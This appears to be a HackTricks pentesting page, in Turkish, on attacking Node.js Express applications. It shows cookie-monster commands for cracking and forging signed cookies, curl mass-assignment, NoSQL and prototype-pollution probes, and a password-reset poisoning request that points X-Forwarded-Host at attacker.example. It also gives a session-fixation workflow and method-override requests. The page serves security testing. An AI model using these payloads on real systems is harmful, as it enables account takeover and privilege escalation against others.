NodeJS Express
Tip
AWS Hacking’i öğrenin ve pratik yapın:
HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın:HackTricks Training GCP Red Team Expert (GRTE)
Azure Hacking’i öğrenin ve pratik yapın:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- 💬 Discord grubuna veya telegram grubuna katılın ya da Twitter’da bizi takip edin 🐦 @hacktricks_live.**
- Hacking ipuçlarını paylaşmak için HackTricks ve HackTricks Cloud github reposuna PR gönderin.
Quick Fingerprinting
Recon sırasında faydalı Express göstergeleri:
X-Powered-By: Expressveya stack trace’lerdeexpress,body-parser,qs,cookie-parser,express-sessionveyafinalhandlergibi isimlerin geçmesis:(signed cookie) veyaj:(JSON cookie) öneki olan cookiesconnect.sidgibi session cookie’leri_method=PUT/_method=DELETEgibi gizli form alanları veya query parametreleri- Hata sayfalarında
Cannot GET /path,Cannot POST /path,Unexpected tokeninbody-parserveya query parsing sırasındaURIErrormesajlarının leak olması
Express’i doğruladığınızda middleware zincirine odaklanın; çünkü en ilginç hataların çoğu framework çekirdeğinden ziyade parsers, proxy trust, session handling ve method-tunneling gibi bileşenlerden kaynaklanır.
Cookie Signature
The tool https://github.com/DigitalInterruption/cookie-monster Express.js cookie secret’lerinin test edilmesi ve yeniden imzalanmasını otomatikleştirmek için kullanılan bir yardımcı programdır.
Express genellikle iki kullanışlı cookie formatı sunar:
s:<value>.<sig>—cookie-parserveyaexpress-sessiontarafından işlenen signed cookie’lerj:<json>—cookie-parsertarafından otomatik olarak parse edilen JSON cookie’ler
Eğer cookie-parser bir signed cookie alır ve imza geçersizse, değer tahrif edilmiş değer yerine false olur. Uygulama bir dizi secret kabul ediyorsa, eski secret’ler rotation sonrasında bile mevcut cookie’leri doğrulamaya devam edebilir.
Belirli isimli tek cookie
cookie-monster -c eyJmb28iOiJiYXIifQ== -s LVMVxSNPdU_G8S3mkjlShUD78s4 -n session
Özel wordlist
cookie-monster -c eyJmb28iOiJiYXIifQ== -s LVMVxSNPdU_G8S3mkjlShUD78s4 -w custom.lst
Toplu mod kullanarak birden fazla cookie’yi test edin
cookie-monster -b -f cookies.json
Özel bir wordlist ile batch mode kullanarak cookie’leri test edin
cookie-monster -b -f cookies.json -w custom.lst
Yeni bir cookie’yi encode edip sign et
Eğer secret’i biliyorsanız cookie’yi sign edebilirsiniz.
cookie-monster -e -f new_cookie.json -k secret
Query String and URL-Encoded Parser Abuse
Express hedefleri, saldırgan tarafından kontrol edilen anahtarlar iç içe geçmiş nesnelere ayrıştırıldığında genellikle ilginç hale gelir.
req.query,qsdahil olmak üzere farklı parserlarla yapılandırılabilirexpress.urlencoded({ extended: true }),application/x-www-form-urlencodediçinqs-style parsing kullanır- İç içe ayrıştırma, ayrıştırılan nesne uygulama durumuna birleştirildiğinde object injection, mass assignment, NoSQL injection ve prototype pollution zincirlerini açar
Denenecek pratik payloads:
# Mass assignment style probe
curl 'https://target.example/profile?role=admin&isAdmin=true'
# Nested object / qs syntax
curl 'https://target.example/search?user[role]=admin&filters[name][$ne]=x'
# URL-encoded body against express.urlencoded({ extended: true })
curl -X POST 'https://target.example/api/update' -H 'Content-Type: application/x-www-form-urlencoded' --data 'profile[role]=admin&filters[$ne]=x'
Uygulama oluşan nesneyi yansıtıyor veya saklıyorsa, exploitation details için ayrılmış sayfalara yönelin:
Express Prototype Pollution Gadgets
Express’e karşı özellikle gönderilmeye değer ekstra testler:
- Parser limitleri, timeout’lar veya 400/413 farklılıklarını kontrol etmek için derin iç içe yapılar
- Uygulamanın ilk değeri mi, sonuncuyu mu yoksa bir array’i mi tuttuğunu görmek için duplicate keys
- Köşeli parantez sözdizimi (ör.
a[b][c]=1), nokta sözdizimi (ör.a.b=1) ve__proto__/constructor[prototype]payload’ları
trust proxy Kötüye Kullanımı
Uygulama app.set("trust proxy", true) kullanıyorsa veya çok fazla hop’a güveniyorsa, Express güvenlikle ilgili değerleri forwarding header’larından türetecektir. Reverse proxy bunları overwrite etmezse, bir istemci bunları doğrudan spoof edebilir.
Bu şunları etkiler:
req.hostnameviaX-Forwarded-Hostreq.protocolviaX-Forwarded-Protoreq.ip/req.ipsviaX-Forwarded-For
Bunlar için kullanışlıdır:
- Password reset poisoning and absolute URL poisoning
- IP tabanlı allowlist’leri, rate limit’leri veya audit trail’ları atlatma
req.protocol’e göre karar veren uygulamalardasecurecookie işleme ve sadece HTTPS mantığını etkileme- Uygulama forwarded host/proto header’larıyla mutlak linkleri şablonluyorsa, yönlendirmeleri veya önbelleğe alınabilen yanıtları zehirleme (poisoning)
POST /reset-password HTTP/1.1
Host: target.example
X-Forwarded-Host: attacker.example
X-Forwarded-Proto: https
X-Forwarded-For: 127.0.0.1
Content-Type: application/json
{"email":"victim@target.example"}
Oluşturulan linklerin, yönlendirme konumlarının, logların veya erişim-denetimi kararlarının artık saldırgan tarafından sağlanan değerleri kullanıp kullanmadığını kontrol edin.
Related pages:
Reset/Forgotten Password Bypass
Cache Poisoning and Cache Deception
express-session Test Notları
Yaygın Express dağıtımları express-session kullanır; bu paket session tanımlayıcı çerezin imzasını atar fakat gerçek durumu sunucu tarafında saklar.
Yararlı kontroller:
- Session fixation: ön-giriş çerezi ile kimlik doğrulaması yapın ve girişten sonra SID’in aynı kalıp kalmadığını doğrulayın
- Weak secret rotation: bazı dağıtımlar çerezleri eski secret’ların bir dizisiyle doğrular; bu nedenle daha önce geçerli olan imzalar çalışmaya devam edebilir
saveUninitialized: true: uygulama anonim kullanıcılara önceden oluşturulmuş oturumlar (pre-auth sessions) verir; bu, fixation’ı kolaylaştırır ve brute-force veya cache analizi için session yüzeyini artırırMemoryStoreprodüksiyonda genellikle zayıf operasyonel olgunluğu ve yeniden başlatmalarda kararsız session davranışını gösterir
Pratik fixation iş akışı:
- Hedeften anonim bir session çerezi edinin.
- Bu çerezi bir mağdura gönderin veya onunla kendiniz kimlik doğrulaması yapın.
- Girişin kimlikli durumu mevcut SID’e bağlayıp bağlamadığını kontrol edin.
- Eğer bağlıyorsa, aynı çerezi ayrı bir tarayıcı oturumunda yeniden oynatın.
Eğer uygulama kimlik doğrulamadan sonra req.session.regenerate()’ı çağırmıyorsa, fixation genellikle hâlâ mümkündür.
Method Override Tunneling
Bazı Express uygulamaları, HTML formlarının doğal olarak gönderemediği HTTP metodlarını tünellemek için method-override kullanır. Etkin olduğunda, front-end’in, WAF’in veya CSRF mantığının yalnızca POST olduğunu varsaydığı bir rota üzerinden tehlikeli metodları kaçırıp kaçıramayacağınızı her zaman test edin.
Tipik denemeler:
POST /users/42 HTTP/1.1
Host: target.example
X-HTTP-Method-Override: DELETE
Content-Type: application/x-www-form-urlencoded
confirm=yes
POST /users/42?_method=PUT HTTP/1.1
Host: target.example
Content-Type: application/x-www-form-urlencoded
role=admin
İlginç etkiler:
- Sadece
POST-only edge control üzerinden gizliPUT/PATCH/DELETErotalarına erişmek - Sadece
req.method’u kontrol eden route-specific middleware’i atlatmak - Uygulama yalnızca dış istek yöntemini doğruladığında CSRF aracılığıyla durum değiştiren işleyicileri tetiklemek
Varsayılan olarak middleware genellikle sadece POST’u geçersiz kılar; bu yüzden header, body ve query-string override değerleriyle POST isteklerine öncelik verin.
Kaynaklar
- https://expressjs.com/en/guide/behind-proxies.html
- https://portswigger.net/research/server-side-prototype-pollution
Tip
AWS Hacking’i öğrenin ve pratik yapın:
HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın:HackTricks Training GCP Red Team Expert (GRTE)
Azure Hacking’i öğrenin ve pratik yapın:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- 💬 Discord grubuna veya telegram grubuna katılın ya da Twitter’da bizi takip edin 🐦 @hacktricks_live.**
- Hacking ipuçlarını paylaşmak için HackTricks ve HackTricks Cloud github reposuna PR gönderin.


